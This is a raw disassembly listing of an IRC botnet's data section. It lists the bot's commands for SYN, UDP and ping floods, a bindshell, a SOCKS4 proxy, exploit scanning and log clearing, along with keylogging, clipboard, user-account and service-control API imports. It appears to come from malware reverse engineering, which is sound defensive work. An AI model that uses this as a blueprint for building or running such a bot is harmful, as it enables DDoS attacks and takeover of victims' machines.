aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437F84o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C284	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C2AC	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437BF0o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 10h
dword_42C370	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 10h
dword_42C390	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3B4	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C404	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C44C	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C480	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C490	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4A0	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4B0	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4C0	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C4CC	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C4D8	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C4E4	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C4FC	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C508	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 10h
dword_42C520	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C530	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C54C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C55C	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42C578	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C584	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C598	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5A4	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5B0	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5BC	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C5CC	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C5EC	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C5F8	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C60C	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42C628	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C644	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C66C	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 10h
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C1Co ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42C718:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 10h
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C75C	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42C790	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42C7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 10h
unk_42C820	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_42C8A0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8B8	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8C0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C8DC	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C8E8	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C8EC	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42C928	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C930	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C944	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42C968	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9BC	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42CA28:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA2C:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA30	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
